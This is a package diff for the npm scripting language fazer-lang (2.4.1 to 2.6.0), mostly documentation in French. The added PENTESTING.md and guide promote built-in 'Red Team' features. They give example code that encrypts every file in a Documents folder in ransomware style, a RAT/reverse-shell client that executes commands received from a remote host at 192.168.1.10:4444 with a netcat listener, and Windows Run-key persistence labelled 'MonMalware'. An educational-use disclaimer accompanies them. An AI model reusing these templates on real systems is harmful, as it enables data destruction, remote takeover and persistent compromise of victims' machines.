fazer-lang 2.4.1 → 2.6.0

package/CHANGELOG.md

@@ -0,0 +1,27 @@
+# Changelog
+
+All notable changes to this project will be documented in this file.
+
+## [2.6.0] - 2026-01-22
+
+### Added
+- **Native EXE Compilation**: Use `fazer build script.fz` to create standalone Windows executables.
+- **Icon Support**: Add custom `.ico` files to your GUI applications via `window(..., "icon.ico")`.
+- **TypeScript Support**: Added `index.d.ts` for type definitions.
+- **Enhanced Stdlib**: Improvements to `exec` (better error handling) and `netsh` interaction support.
+- **Security**: Added more robust error handling for system commands requiring administrative privileges.
+
+### Fixed
+- Fixed issues with `netsh` command execution in certain environments.
+- Improved error messages for "immutable variable" violations in `catch` blocks.
+- Stability improvements in the interpreter loop.
+
+## [2.5.0] - 2025-12-15
+
+### Added
+- Initial support for Discord integration.
+- `notify` module for system notifications.
+- `clipboard` module.
+
+### Changed
+- Refactored `http_server` for better performance.

package/LICENSE

@@ -1,6 +1,6 @@
 MIT License
 
-Copyright (c) 2024 Fazer Corp
+Copyright (c) 2026 L'EMPRISE
 
 Permission is hereby granted, free of charge, to any person obtaining a copy
 of this software and associated documentation files (the "Software"), to deal

package/README.md

@@ -1,63 +1,63 @@
-# Fazer
-
-**Fazer** — Le langage de script nouvelle génération par **L'EMPRISE**.
-
-Conçu pour l'automatisation, la sécurité et le traitement de données, Fazer combine une syntaxe concise avec une bibliothèque standard "batteries included".
-
-## Installation
-
-Installez Fazer globalement via npm :
-
-```bash
-npm install -g fazer-lang
-```
-
-## Utilisation Rapide
-
-Lancer le REPL (mode interactif) :
-```bash
-fazer
-```
-
-Exécuter un script :
-```bash
-fazer mon_script.fz
-```
-
-## Création d'Exécutable (.exe)
-
-Transformez vos scripts Fazer en applications Windows portables et natives :
-
-1.  (Optionnel) Placez une icône `app.ico` dans le dossier.
-2.  Lancez la commande de build :
-    ```bash
-    fazer build mon_script.fz
-    ```
-3.  Récupérez votre application dans `dist/mon_script/mon_script.exe`.
-
-Le dossier généré est **portable** : zippez-le et envoyez-le à n'importe qui, aucune installation n'est requise !
-
-## Documentation
-
-La documentation complète est disponible dans le dossier [`docs/`](https://github.com/viced-1920/fazer-lang/blob/master/docs/README.md).
-
-*   [Guide de Démarrage](https://github.com/viced-1920/fazer-lang/blob/master/docs/getting-started.md)
-*   [Syntaxe du Langage](https://github.com/viced-1920/fazer-lang/blob/master/docs/syntax.md)
-*   [Bibliothèque Standard (Stdlib)](https://github.com/viced-1920/fazer-lang/blob/master/docs/stdlib.md)
-*   [Exemples](https://github.com/viced-1920/fazer-lang/blob/master/docs/examples.md)
-
-## Fonctionnalités Clés
-
-*   **GUI Native** : Créez de vraies applications Windows (WinForms) avec widgets natifs (`window`, `button`, `entry`, etc.).
-*   **Pipe Operator (`->>`)** : Enchaînez les opérations proprement.
-*   **Pattern Matching (`case`)** : Contrôle de flux expressif.
-*   **Sécurité Intégrée** : Chiffrement AES-256-GCM et SHA256 natifs.
-*   **Réseau & Web** : Client HTTP `fetch`, serveur web `server`, et module `discord`.
-*   **Système de Fichiers** : Manipulation simple et puissante.
-*   **Automation** : Gestion du presse-papier (`clipboard`), notifications (`notify`), et persistance (`db`).
-*   **Extensible** : Système de modules `import`.
-
-## Copyright
-
-© 2026 **L'EMPRISE**. Tous droits réservés.
-Distribué sous licence MIT.
+# Fazer
+
+**Fazer** — Le langage de script nouvelle génération par **L'EMPRISE**.
+
+Conçu pour l'automatisation, la sécurité et le traitement de données, Fazer combine une syntaxe concise avec une bibliothèque standard "batteries included".
+
+## Installation
+
+Installez Fazer globalement via npm :
+
+```bash
+npm install -g fazer-lang
+```
+
+## Utilisation Rapide
+
+Lancer le REPL (mode interactif) :
+```bash
+fazer
+```
+
+Exécuter un script :
+```bash
+fazer mon_script.fz
+```
+
+## Création d'Exécutable (.exe)
+
+Transformez vos scripts Fazer en applications Windows portables et natives :
+
+1.  (Optionnel) Placez une icône `app.ico` dans le dossier.
+2.  Lancez la commande de build :
+    ```bash
+    fazer build mon_script.fz
+    ```
+3.  Récupérez votre application dans `dist/mon_script/mon_script.exe`.
+
+Le dossier généré est **portable** : zippez-le et envoyez-le à n'importe qui, aucune installation n'est requise !
+
+## Documentation
+
+🎓 **[NOUVEAU : Le Guide Ultime (A-Z)](https://github.com/viced-1920/fazer-lang/blob/main/docs/GUIDE.md)** - Commencez ici ! C'est la ressource la plus complète pour apprendre Fazer.
+
+Documentation détaillée par section :
+*   [Guide de Démarrage](https://github.com/viced-1920/fazer-lang/blob/main/docs/getting-started.md)
+*   [Syntaxe du Langage](https://github.com/viced-1920/fazer-lang/blob/main/docs/syntax.md)
+*   [Bibliothèque Standard (Stdlib)](https://github.com/viced-1920/fazer-lang/blob/main/docs/stdlib.md)
+*   [Exemples](https://github.com/viced-1920/fazer-lang/blob/main/docs/examples.md)
+
+## Fonctionnalités Clés
+
+*   **GUI Native** : Créez de vraies applications Windows (WinForms) avec widgets natifs.
+*   **Red Team Ready** : Module de sécurité offensive natif (Crypto, Registre, Reverse Shell, Scan).
+*   **Pipe Operator (`->>`)** : Enchaînez les opérations proprement.
+*   **Pattern Matching (`case`)** : Contrôle de flux expressif.
+*   **Portable** : Compilation en `.exe` natif avec support d'icônes.
+*   **Réseau & Web** : Client HTTP `fetch`, serveur web `server`, et module `discord`.
+*   **Système** : Manipulation fichiers, processus et presse-papier.
+
+## Copyright
+
+© 2026 **L'EMPRISE**. Tous droits réservés.
+Distribué sous licence MIT.

package/docs/GUIDE.md

@@ -0,0 +1,249 @@
+# Le Guide Ultime de Fazer (A-Z) - Édition 2.5
+
+Bienvenue dans l'univers de **Fazer**. Ce guide a été conçu pour vous accompagner de vos premières lignes de code jusqu'à la maîtrise des fonctionnalités les plus avancées (Pentest, GUI, Réseau).
+
+Que vous soyez un débutant complet ou un développeur expérimenté, ce manuel est votre référence.
+
+---
+
+## 📚 Table des Matières
+
+1.  [Module 1 : Premiers Pas & Installation](#module-1--premiers-pas--installation)
+2.  [Module 2 : Les Bases du Langage](#module-2--les-bases-du-langage)
+3.  [Module 3 : Contrôle du Flux (Logique)](#module-3--contrôle-du-flux-logique)
+4.  [Module 4 : Fonctions & Organisation](#module-4--fonctions--organisation)
+5.  [Module 5 : Manipulation de Fichiers & Système](#module-5--manipulation-de-fichiers--système)
+6.  [Module 6 : Interfaces Graphiques (GUI)](#module-6--interfaces-graphiques-gui)
+7.  [Module 7 : Réseau & Web](#module-7--réseau--web)
+8.  [Module 8 : Cybersécurité & Red Team](#module-8--cybersécurité--red-team)
+9.  [Annexe : Compiler en .EXE](#annexe--compiler-en-exe)
+
+---
+
+## Module 1 : Premiers Pas & Installation
+
+### C'est quoi Fazer ?
+Fazer est un langage de programmation moderne, simple et puissant. Il est "batteries included", ce qui signifie qu'il contient déjà tout ce qu'il faut pour créer des applications graphiques, des outils réseaux, ou des scripts d'automatisation sans rien installer d'autre.
+
+### Installation
+1.  **Téléchargez** le dossier `fazer-lang`.
+2.  **Exécutez** le script `install_system.ps1` (double-clic).
+3.  C'est tout ! Ouvrez un terminal et tapez `fazer` pour vérifier.
+
+### Votre Premier Script ("Hello World")
+Créez un fichier nommé `hello.fz` :
+
+```fazer
+print("Bienvenue sur Fazer !")
+```
+
+Lancez-le :
+```bash
+fazer hello.fz
+```
+
+---
+
+## Module 2 : Les Bases du Langage
+
+### Variables
+En Fazer, on utilise `:=` pour créer une variable.
+*   Par défaut, une variable ne peut pas changer (elle est **constante**).
+*   Si vous voulez la modifier, utilisez le mot-clé `mut`.
+
+```fazer
+# Constante (ne bougera pas)
+nom := "Fazer"
+
+# Variable (peut changer)
+mut score := 0
+score := score + 10
+print(score) # Affiche 10
+```
+
+### Types de Données
+Fazer gère les types automatiquement :
+*   `"Texte"` (String)
+*   `42` ou `3.14` (Number)
+*   `true` / `false` (Boolean)
+*   `[1, 2, 3]` (List / Tableau)
+*   `{ "nom": "Jean", "age": 20 }` (Map / Objet)
+
+### L'Opérateur Pipe (`->>`)
+C'est la signature de Fazer. Il permet de passer une valeur à la fonction suivante, comme un tuyau.
+
+```fazer
+# Méthode classique
+print(str_upper("bonjour"))
+
+# Méthode Fazer (Pipe)
+"bonjour" ->> str_upper ->> print
+```
+*Lecture : Prends "bonjour", mets-le en majuscules, puis affiche-le.*
+
+---
+
+## Module 3 : Contrôle du Flux (Logique)
+
+### Les Conditions (`if`)
+Fazer utilise des flèches `->` pour délimiter les blocs de code, et `end` pour finir.
+
+```fazer
+age := 18
+
+if age >= 18 ->
+    print("Majeur")
+end
+else ->
+    print("Mineur")
+end
+```
+
+### Les Boucles (`while`)
+Pour répéter une action tant qu'une condition est vraie.
+
+```fazer
+mut i := 0
+
+while i < 5 ->
+    print("Compteur : " + i)
+    i := i + 1
+end
+```
+
+---
+
+## Module 4 : Fonctions & Organisation
+
+### Créer une Fonction
+Une fonction est un bloc de code réutilisable.
+
+```fazer
+fn dire_bonjour(nom) ->
+    msg := "Salut " + nom + " !"
+    return msg
+end
+
+res := dire_bonjour("Alice")
+print(res)
+```
+
+### Fonctions Anonymes (Lambdas)
+Très utiles pour les événements (GUI, Serveurs).
+
+```fazer
+ma_fonction := fn(x) -> x * 2 end
+print(ma_fonction(10)) # 20
+```
+
+---
+
+## Module 5 : Manipulation de Fichiers & Système
+
+Fazer brille pour l'automatisation système.
+
+### Lire et Écrire
+```fazer
+# Écrire
+fs_write("test.txt", "Contenu du fichier")
+
+# Lire
+contenu := fs_read("test.txt")
+print(contenu)
+
+# Vérifier existence
+if fs_exists("test.txt") -> print("Fichier trouvé !") end
+```
+
+### Parcourir des Dossiers (Nouveau 2.5)
+```fazer
+fichiers := walk_dir(".") # Liste récursivement tout le dossier actuel
+print("Fichiers trouvés : " + fichiers.length)
+```
+
+### Exécuter des Commandes Système
+```fazer
+# Lance une commande et récupère la sortie
+ip := exec("ipconfig")
+print(ip)
+```
+
+---
+
+## Module 6 : Interfaces Graphiques (GUI)
+
+Créez des fenêtres Windows natives en quelques lignes.
+
+```fazer
+config := {
+  title: "Ma App Fazer",
+  w: 400, h: 300,
+  icon: "app.ico" # Support des icônes !
+}
+
+# Définition des widgets
+widgets := [
+  { id: "lbl", type: "label", text: "Bienvenue !", x: 10, y: 10, w: 200, h: 30 },
+  { id: "btn", type: "button", text: "Cliquez-moi", x: 10, y: 50, w: 120, h: 40 }
+]
+
+# Gestionnaire d'événements
+fn handler(id, event, data) ->
+  if id == "btn" ->
+    notify("Succès", "Vous avez cliqué !")
+  end
+end
+
+# Lancer la fenêtre
+window(config, widgets, handler)
+```
+
+---
+
+## Module 7 : Réseau & Web
+
+### Serveur Web Express
+Créez un serveur HTTP en une ligne.
+
+```fazer
+fn mon_site(req) ->
+    return "<h1>Site propulsé par Fazer</h1>"
+end
+
+# Écoute sur le port 8080
+http_server(8080, mon_site)
+```
+
+### Client HTTP
+```fazer
+page := fetch("https://google.com")
+print(page.status)
+```
+
+---
+
+## Module 8 : Cybersécurité & Red Team
+
+**Nouveauté 2.5** : Fazer intègre des outils natifs pour le Pentest et la simulation d'attaques (autorisées).
+
+> ⚠️ **AVERTISSEMENT** : Usage éducatif et autorisé uniquement.
+
+### Fonctionnalités Clés
+*   **Chiffrement** : `encrypt_file("secret.txt", "clé")` (AES-256)
+*   **Registre Windows** : `registry_set`, `registry_get` (Persistance)
+*   **Reverse Shell** : `tcp_connect` (Client TCP brut)
+*   **Fond d'écran** : `set_wallpaper("hacked.jpg")`
+
+*Pour un guide détaillé sur ces fonctions, consultez le fichier `PENTESTING.md`.*
+
+---
+
+## Annexe : Compiler en .EXE
+
+Transformez n'importe quel script `.fz` en un exécutable Windows autonome `.exe` que vous pouvez partager.
+
+```bash
+fazer build mon_script.fz
+```
+
+L'exécutable sera généré dans le dossier `dist/`. Il contient tout le nécessaire pour fonctionner sans installer Fazer sur la machine cible.

package/docs/PENTESTING.md

@@ -0,0 +1,74 @@
+# Guide de Développement Pentest & Red Team avec Fazer
+
+> **AVERTISSEMENT** : Ce module est destiné à des fins éducatives et de test de sécurité autorisé uniquement. L'auteur décline toute responsabilité en cas d'utilisation malveillante.
+
+Fazer intègre des fonctionnalités natives puissantes permettant de développer des outils de sécurité offensive (Red Team), de simulation de malware (Ransomware, RAT) et d'administration système avancée.
+
+## 1. Simulation de Ransomware (Crypto)
+
+Fazer utilise le chiffrement **AES-256-CBC** pour sécuriser les fichiers.
+
+### API
+*   `encrypt_file(path, key)` : Chiffre un fichier. Génère un fichier `.enc` avec l'IV préfixé.
+*   `decrypt_file(path, key)` : Déchiffre un fichier `.enc`.
+*   `walk_dir(path)` : Liste récursivement tous les fichiers d'un dossier.
+
+### Exemple
+```fazer
+key := "MA_CLE_SECURE_256_BITS"
+files := walk_dir("C:\\Documents\\Confidentiel")
+
+# Chiffrer tout
+i := 0
+while i < files.length ->
+    encrypt_file(files[i], key)
+    i := i + 1
+end
+```
+
+## 2. Remote Access Trojan (RAT) / Reverse Shell
+
+Vous pouvez créer des clients TCP capables de recevoir des commandes distantes et d'exécuter du code.
+
+### API
+*   `tcp_connect(host, port, handler)` : Se connecte à un serveur C2 (Command & Control).
+    *   `handler` : Une fonction qui reçoit les données brutes (commandes).
+    *   Retourne un objet client avec `.send(data)` et `.close()`.
+
+### Exemple (Client)
+```fazer
+fn on_data(cmd) ->
+    # Exécuter la commande reçue dans le shell système
+    result := exec(cmd)
+    return result
+end
+
+client := tcp_connect("192.168.1.10", 4444, on_data)
+client.send("Bot connecté !\n")
+```
+
+Pour tester, lancez un listener Netcat sur votre machine attaquante : `nc -lvp 4444`.
+
+## 3. Persistance et Registre (Windows)
+
+Manipulez le registre Windows pour assurer la persistance de vos outils au démarrage.
+
+### API
+*   `registry_get(key, name)` : Lit une valeur du registre.
+*   `registry_set(key, name, value)` : Écrit une valeur (String).
+
+### Exemple (Run Key)
+```fazer
+key := "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
+registry_set(key, "MonMalware", "C:\\Chemin\\vers\\app.exe")
+```
+
+## 4. Pranks & Divers
+
+*   `set_wallpaper(path)` : Change le fond d'écran (Windows uniquement).
+*   `screenshot(path)` : Prend une capture d'écran.
+
+```fazer
+set_wallpaper("C:\\hacked.jpg")
+screenshot("capture.png")
+```

package/docs/README.md

@@ -1,26 +1,29 @@
-# Documentation Fazer
-
-Bienvenue dans la documentation officielle du langage **Fazer**.
-
-## Table des Matières
-
-1.  **[Guide de Démarrage](./getting-started.md)**
-    *   Installation
-    *   Votre premier script
-    *   Mode interactif (REPL)
-
-2.  **[Syntaxe du Langage](./syntax.md)**
-    *   Variables et Types
-    *   Opérateur Pipe (`->>`)
-    *   Contrôle de Flux (`case`)
-    *   Fonctions
-
-3.  **[Bibliothèque Standard (Stdlib)](./stdlib.md)**
-    *   E/S Console (`println`, `ask`...)
-    *   Système de Fichiers (`readText`, `writeText`...)
-    *   Chiffrement (`encText`, `sha256`...)
-    *   Réseau & Web (`server`, `fetch`, `discord`...)
-    *   Utilitaires (`json`, `exec`...)
-
-4.  **[Exemples](./examples.md)**
-    *   Scripts complets pour apprendre par l'exemple.
+# Documentation Fazer
+
+Bienvenue dans la documentation officielle du langage **Fazer**.
+
+## Table des Matières
+
+0.  **[NOUVEAU : Le Guide Ultime (A-Z)](./GUIDE.md)**
+    *   Le point de départ idéal pour tout apprendre d'un coup.
+
+1.  **[Guide de Démarrage](./getting-started.md)**
+    *   Installation
+    *   Votre premier script
+    *   Mode interactif (REPL)
+
+2.  **[Syntaxe du Langage](./syntax.md)**
+    *   Variables et Types
+    *   Opérateur Pipe (`->>`)
+    *   Contrôle de Flux (`case`)
+    *   Fonctions
+
+3.  **[Bibliothèque Standard (Stdlib)](./stdlib.md)**
+    *   E/S Console (`println`, `ask`...)
+    *   Système de Fichiers (`readText`, `writeText`...)
+    *   Chiffrement (`encText`, `sha256`...)
+    *   Réseau & Web (`server`, `fetch`, `discord`...)
+    *   Utilitaires (`json`, `exec`...)
+
+4.  **[Exemples](./examples.md)**
+    *   Scripts complets pour apprendre par l'exemple.

package/docs/examples.md

@@ -1,60 +1,60 @@
-# Exemples Fazer
-
-## 1. Hello World
-
-```fazer
-"Hello World" ->> println
-```
-
-## 2. Demander le nom
-
-```fazer
-"Quel est votre nom ? " ->> ask ->> println
-```
-
-## 3. Chiffrement de Fichier (Logique simplifiée)
-
-Ce script montre comment on pourrait structurer un outil de chiffrement.
-
-```fazer
-fn main () {
-  "1. Chiffrer" ->> println
-  "2. Déchiffrer" ->> println
-  "Choix : " ->> ask ->> case {
-    "1" : {
-      "Fichier à chiffrer : " ->> ask ->> enc_flow
-    }
-    "2" : {
-      "Fichier à déchiffrer : " ->> ask ->> dec_flow
-    }
-    _ : {
-      "Choix invalide" ->> println
-    }
-  }
-}
-
-fn enc_flow (path) {
-  path ->> exists ->> case {
-    true : {
-      "Mot de passe : " ->> ask ->> pass
-      path ->> readText ->> encText(pass) ->> saveText(path)
-      "Fichier chiffré !" ->> println
-    }
-    _ : { "Fichier introuvable" ->> println }
-  }
-}
-
-// Lancer le main
-main()
-```
-
-## 4. Serveur Web Simple
-
-```fazer
-fn handle_request (req) {
-  "<h1>Bienvenue sur Fazer Web</h1>" // Retourne le HTML
-}
-
-"Démarrage du serveur sur 8080..." ->> println
-8080 ->> server("handle_request")
-```
+# Exemples Fazer
+
+## 1. Hello World
+
+```fazer
+"Hello World" ->> println
+```
+
+## 2. Demander le nom
+
+```fazer
+"Quel est votre nom ? " ->> ask ->> println
+```
+
+## 3. Chiffrement de Fichier (Logique simplifiée)
+
+Ce script montre comment on pourrait structurer un outil de chiffrement.
+
+```fazer
+fn main () {
+  "1. Chiffrer" ->> println
+  "2. Déchiffrer" ->> println
+  "Choix : " ->> ask ->> case {
+    "1" : {
+      "Fichier à chiffrer : " ->> ask ->> enc_flow
+    }
+    "2" : {
+      "Fichier à déchiffrer : " ->> ask ->> dec_flow
+    }
+    _ : {
+      "Choix invalide" ->> println
+    }
+  }
+}
+
+fn enc_flow (path) {
+  path ->> exists ->> case {
+    true : {
+      "Mot de passe : " ->> ask ->> pass
+      path ->> readText ->> encText(pass) ->> saveText(path)
+      "Fichier chiffré !" ->> println
+    }
+    _ : { "Fichier introuvable" ->> println }
+  }
+}
+
+// Lancer le main
+main()
+```
+
+## 4. Serveur Web Simple
+
+```fazer
+fn handle_request (req) {
+  "<h1>Bienvenue sur Fazer Web</h1>" // Retourne le HTML
+}
+
+"Démarrage du serveur sur 8080..." ->> println
+8080 ->> server("handle_request")
+```